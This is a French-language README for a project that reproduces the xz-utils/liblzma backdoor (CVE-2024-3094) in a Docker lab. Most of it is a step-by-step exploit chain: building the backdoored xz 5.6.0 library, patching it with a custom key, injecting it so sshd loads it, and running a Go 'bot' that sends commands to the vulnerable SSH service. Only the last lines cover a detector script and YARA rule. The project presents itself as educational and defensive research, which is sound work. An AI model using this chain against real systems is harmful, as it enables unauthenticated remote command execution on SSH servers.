
Une vulnérabilité de porte dérobée XZ expliquée en détail
Ce projet analyse la backdoor très médiatisée découverte dans xz-utils (liblzma), affectant les versions 5.6.0 et 5.6.1. Le code malveillant introduit dans le système de construction en amont ciblait l'authentification SSH en modifiant la façon dont sshd interagit avec la bibliothèque de compression LZMA au moment de l'exécution.
⚠️ Ce projet est uniquement destiné à des fins de recherche éducative et défensive.
Clonez ce dépôt
git clone https://github.com/valeriot30/cve-2024-3094
Accédez au répertoire
cd cve-2024-3094
Lancez le conteneur Docker
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
Obtenez une version malveillante de la bibliothèque
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
Exportez la cible de construction
export RPM_ARCH=$(uname -m)
Compilez la bibliothèque malveillante
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
Copiez le fichier SO malveillant à l'extérieur :
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
Clonez à nouveau le dépôt à l'intérieur du conteneur
git clone https://github.com/valeriot30/cve-2024-3094
Patchez la bibliothèque liblzma avec une clé personnalisée
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
Lie la bibliothèque malveillante dans le système
sh cve-2024-3094/inject.sh
Exécutez sshd lié à la bibliothèque malveillante
env -i LANG=C /usr/sbin/sshd -D &
Clonez ce dépôt
git clone https://github.com/valeriot30/cve-2024-3094
Accédez au répertoire
cd cve-2024-3094
Compilez l'outil Go
go build
Utilisez l'outil en insérant l'adresse IP de la machine vulnérable et la commande à exécuter
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
Exécutez le détecteur
sh detector.sh
Utilisez les règles de correspondance Yara
yara rule.yar ../liblzma.so.5.6.0 -s